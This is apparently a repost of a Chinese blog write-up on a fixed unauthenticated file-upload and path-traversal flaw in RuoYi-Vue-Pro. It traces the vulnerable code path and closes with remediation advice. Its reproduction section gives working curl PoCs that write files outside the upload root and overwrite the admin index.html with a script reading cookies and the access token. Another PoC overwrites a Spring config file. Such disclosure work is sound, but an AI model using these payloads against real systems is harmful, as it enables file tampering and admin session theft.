审了个百k项目,没想到真出洞了|RuoYi-Vue-Pro任意文件上传&路径穿越"

admin 2026-10-22 09:24:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

审了个百k项目,没想到真出洞了 | RuoYi-Vue-Pro 任意文件上传 & 路径穿越

原创

弹不出的5h3ll
弹不出的5h3ll

弹不出的5h3ll

2026年6月2日 14:36
湖南

在小说阅读器读本章

去阅读

审了个百k项目,没想到真出洞了 | RuoYi-Vue-Pro 任意文件上传 & 路径穿越

漏洞状态:已修复


目录

  • • 项目背景
  • • 入口定位:AppFileController
  • • 追踪 /upload 接口
  • • 调用链跟踪:createFile → generateUploadPath
  • • sink 确认:LocalFileClient 无过滤写文件
  • • 漏洞复现

  • • POC 1:无认证文件上传

  • • POC 2:路径穿越写入任意目录
  • • POC 3:覆盖前端页面实现持久化 XSS
  • • POC 4:写入应用配置目录

  • • 总结


项目背景

百k star 的开源项目还能审出洞吗?这次拿 RuoYi-Vue-Pro 试试。

文件有点多,先让 AI 把项目结构梳理一遍再说。

搭建过程省略,直接进入审计。


入口定位:AppFileController

目标文件:

1

yudao-module-infra/src/main/java/cn/iocoder/yudao/module/infra/controller/app/file/AppFileController.java

这个 Controller 里有三个接口:/create、/presigned-url、/upload。

先看 @PermitAll 注解——这个注解的意思是允许所有人访问,包括未登录用户。所以 /upload 和 /create 两个接口都不需要登录就能访问。

不过这里需要注意一下:漏洞的重点不是未授权本身,未授权只是让漏洞的攻击门槛更低,真正的问题在后面的路径处理逻辑上。


追踪 /upload 接口

先看 /upload,方法参数是 AppFileUploadReqVO uploadReqVO。

看一下 AppFileUploadReqVO 里有什么——两个字段 directory 和 file,还有一个方法。

看 directory 和 file 的获取方式:两个都是直接通过 getter 获取的,意味着 HTTP 请求时这两个参数完全可控,没有任何预处理。

uploadFile 的核心逻辑很简单:读取 file 转换成字节数据 content,然后直接调用:

1

2

3

4

5

6

return success(fileService.createFile(
    content,
    file.getOriginalFilename(),
    uploadReqVO.getDirectory(),
    file.getContentType()
));

directory 原样传进去,没有任何过滤。


调用链跟踪:createFile → generateUploadPath

跟进 fileService.createFile。FileService 是接口,找到实现类 FileServiceImpl:

1

public class FileServiceImpl implements FileService

在 FileServiceImpl 的 createFile 方法里,最终的路径生成在这一行被定下来:

1

String path = generateUploadPath(name, directory);

继续跟进 generateUploadPath:

核心代码如下:

1

2

3

4

5

6

7

if (StrUtil.isNotEmpty(prefix)) {
    name = prefix + StrUtil.SLASH + name;
}
// 2.3 最后拼接 directory 目录
if (StrUtil.isNotEmpty(directory)) {
    name = directory + StrUtil.SLASH + name;
}
  • • prefix = 日期字符串,比如 20260601
  • • StrUtil.SLASH = 路径分隔符 /

最终路径结构:directory/prefix/filename,也就是 基础目录/日期目录/文件名。

看这段代码能得出几个结论:

  • • 第一行是 path 的生成
  • • 第二部分是保存文件的方法
  • • 第三部分还把保存的 URL 路径存入了数据库,并且把 URL 直接返回给了调用方

这意味着上传成功后可以直接从响应包里拿到写入路径——回显完美。

更关键的是:directory 可控,而且路径拼接没有任何过滤,../ 这种穿越字符直接能用。


sink 确认:LocalFileClient 无过滤写文件

继续往下追,关键调用:

1

String url = client.upload(content, path, type);

FileClient 是接口,先找到 AbstractFileClient,但它依然是抽象方法,继续往下找继承类:

有五个实现类,根据代码上下文(本地存储场景),找到 LocalFileClient:

LocalFileClient 里确实有 upload 方法,核心就一行:

1

FileUtil.writeBytes(content, filePath); // 写入文件

跳进去看 filePath 的来源:

1

String filePath = getFilePath(path);

没有任何过滤,路径直接拼接写入。

整条调用链打通:

1

2

3

4

5

6

HTTP 请求 directory 参数(可控)
    → AppFileController.uploadFile()
    → FileServiceImpl.createFile()
    → generateUploadPath()  // directory 原样拼入 path
    → LocalFileClient.upload()
    → FileUtil.writeBytes(content, filePath)  // 无过滤写文件

漏洞确认:无认证任意文件上传 + 路径穿越写任意文件。


漏洞复现

环境

项目 值
目标地址 http://localhost:28080
存储类型 Local(id=36)
basePath E:/download/ruoyi-vue-pro-master/upload
认证要求 无需任何 Cookie、Token 或认证头

POC 1:无认证文件上传

1

2

3

4

curl -X POST \"http://localhost:28080/app-api/infra/file/upload\" \\
  -H \"tenant-id: 1\" \\
  -F \"file=@C:\\Windows\\win.ini\" \\
  -F \"directory=test\"

响应(code=0 表示成功):

1

{\"code\":0,\"msg\":\"\",\"data\":\"http://localhost:28080/admin-api/infra/file/36/get/test/20260528/win.ini\"}

实测输出:

1

2

C:\\Users\\t> curl -X POST \"http://localhost:28080/app-api/infra/file/upload\" -H \"tenant-id: 1\" -F \"file=@C:\\Windows\\win.ini\" -F \"directory=test\"
{\"code\":0,\"msg\":\"\",\"data\":\"http://localhost:28080/admin-api/infra/file/36/get/test/20260528/win.ini\"}

文件被写入 {basePath}/test/20260528/win.ini,URL 在响应中直接回显。


POC 2:路径穿越写入任意目录

把 directory 换成 ../../../test:

1

2

3

4

curl -X POST \"http://localhost:28080/app-api/infra/file/upload\" \\
  -H \"tenant-id: 1\" \\
  -F \"file=@C:\\Windows\\win.ini\" \\
  -F \"directory=../../../test\"

响应:

1

{\"code\":0,\"msg\":\"\",\"data\":\"http://localhost:28080/admin-api/infra/file/36/get/../../../test/20260528/win.ini\"}

文件实际写入位置:E:/test/20260528/win.ini

已绕过 basePath 限制,穿越到了磁盘根目录级别。


POC 3:覆盖前端页面实现持久化 XSS

这个 POC 的思路是利用路径穿越 + 文件名中的 ../ 来精确覆盖目标文件,把管理后台的 index.html 替换成恶意页面。

路径解析过程:

1

2

{basePath}/../yudao-ui/yudao-ui-admin-vue3-full/20260528/../index.html
    → E:/download/.../yudao-ui/yudao-ui-admin-vue3-full/index.html

技巧说明:directory 控制往上穿越几级目录,filename 里的 ../ 可以抵消 generateUploadPath 自动加入的日期目录(prefix),这样两个参数配合就能精确命中目标路径。

POC 步骤:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

# 1. 准备恶意 HTML(窃取 cookie + 管理员数据)
@\"
<html><body><script>
alert('XSS: ' + document.cookie);
fetch('http://localhost:28080/admin-api/system/user/get-user-profile', {
  headers: { 'Authorization': 'Bearer ' + localStorage.getItem('accessToken') }
}).then(r=>r.json()).then(d=>{alert('Admin data: ' + JSON.stringify(d))});
</script></body></html>
\"@ | Set-Content -Path \"$env:TEMP\\xss.html\" -Encoding ASCII

# 2. 通过路径穿越上传,覆盖 index.html
curl -X POST \"http://localhost:28080/app-api/infra/file/upload\" \\
  -H \"tenant-id: 1\" \\
  -F \"file@=$env:TEMP\\xss.html;filename=..\\index.html\" \\
  -F \"directory=..\\yudao-ui\\yudao-ui-admin-vue3-full\"

实测结果: 访问 http://localhost:1024 弹出 XSS 告警,成功读取到当前域名下的 cookie:

1

2

3

XSS: Hm_lvt_a1ff8825baa73c3a78aa96aa40325abc=1779948387;
     HMACCOUNT=9619F6BEBF84EB12;
     Hm_lpvt_a1ff8825baa73c3a78eb96aa40325abc=1779951192

Vite 开发服务器检测到文件变更后自动热重载,管理后台页面被完全替换。

攻击者可以进一步将恶意 JavaScript 注入 .vue 文件,实现:

  • • 窃取管理员 Session/Token(localStorage.accessToken)
  • • 钓鱼获取管理员密码
  • • 篡改业务数据展示

POC 4:写入应用配置目录

1

2

3

4

curl -X POST \"http://localhost:28080/app-api/infra/file/upload\" \\
  -H \"tenant-id: 1\" \\
  -F \"[email protected];filename=application-local.yaml\" \\
  -F \"directory=..\\..\\yudao-server\\src\\main\\resources\"

这个方式可以尝试覆盖 Spring Boot 的配置文件。能否影响运行时配置,取决于部署方式、配置加载优先级和服务重启条件——如果应用使用外部化配置且有热加载,危害会进一步升级。


总结

这次从 AppFileController 出发,顺着调用链一路追到 LocalFileClient.upload() 的 FileUtil.writeBytes(),整条链路下来基本没有遇到任何过滤,路径拼接逻辑上 directory 参数直接可控。

漏洞成因:

  • • /upload 接口加了 @PermitAll,无需认证即可调用
  • • directory 参数从请求直接传入,全程未做路径规范化(Path.normalize() / Paths.get().toRealPath() 之类的操作都没有)
  • • 最终调用的 FileUtil.writeBytes() 是纯粹的文件写入,sink 完全无防御

利用链: 无认证上传 → directory 路径穿越 → 任意文件写入 → 覆盖前端页面持久化 XSS / 覆盖配置文件

修复建议(参考):

  • • 对 directory 参数做白名单或路径规范化,拒绝包含 ../、..\\\\ 的输入
  • • 用 Paths.get(basePath).resolve(directory).normalize() 之后校验是否还在 basePath 内
  • • 文件名同理,getOriginalFilename() 取到的值要去掉路径分隔符

目前官方已修复,感兴趣的可以去 commit 记录里看具体的修复方式。


    审了个百k项目,没想到真出洞了|RuoYi-Vue-Pro任意文件上传&路径穿越" 网络安全文章

    审了个百k项目,没想到真出洞了|RuoYi-Vue-Pro任意文件上传&路径穿越"

    该文档披露了RuoYi-Vue-Pro项目中存在的无认证任意文件上传与路径穿越漏洞。漏洞源于AppFileController的/upload接口未对directory参数进行过滤,导致攻击者可通过路径穿越(如…/…/…/)将文件写入任意目录。作者通过四个POC演示了漏洞利用:无认证上传、目录穿越、覆盖前端页面实现持久化XSS、篡改应用配置文件。文档指出漏洞已修复,并强调路径规范化缺失是核心问题。
    某医院小程序逆向签名加解密之泄露百万数据" 网络安全文章

    某医院小程序逆向签名加解密之泄露百万数据"

    本文详细分析了某医院小程序存在的安全漏洞,通过逆向工程发现其使用AES和RSA加密机制,但存在越权漏洞。攻击者可利用用户ID遍历获取大量用户敏感信息,包括姓名、身份证号、手机号等。作者演示了使用AI辅助自动化验签和解密过程,并成功获取约99万条用户数据。
    【银狐应急复盘】银狐远控借壳网易CC客户端的一次深度应急,从EDR告警到彻底清除(附IOC)" 网络安全文章

    【银狐应急复盘】银狐远控借壳网易CC客户端的一次深度应急,从EDR告警到彻底清除(附IOC)"

    本文是一篇关于银狐远控木马借壳网易CC客户端进行攻击的应急响应案例分析。文章详细描述了攻击者如何利用合法的网易CC更新程序(白文件),通过DLL侧加载、UAC提权等技术,在目标终端上部署并执行恶意的libcurl.dll。该恶意DLL体积异常庞大,并采用了PE伪装和反沙箱技术以绕过安全软件检测。整个攻击链从2025年6月持续潜伏至2026年6月,最终通过EDR的外联告警被发现。文章还揭示了攻击者利用隐藏文件和随机命名文件夹来躲避人工排查的手段,并提供了从样本发现到逆向分析的完整处置流程。
    Google发布Gemma412B:16GB内存即可运行的开源多模态AI模型;美国企业转向DeepSeek:AI成本压力重塑模型选型|牛览" 网络安全文章

    Google发布Gemma412B:16GB内存即可运行的开源多模态AI模型;美国企业转向DeepSeek:AI成本压力重塑模型选型|牛览"

    Google发布轻量级多模态模型Gemma412B,美国企业因成本压力转向DeepSeek等中国AI模型;微软警告AI应用成为恶意软件新渠道,黑产仿冒安全工具分发恶意程序;联合国粮食机构发生加沙援助数据泄露,美国最高法院支持FCC对运营商位置数据违规的处罚权;Reco发布AI安全厂商评估框架,强调生产环境落地能力。
    评论:0   参与:  0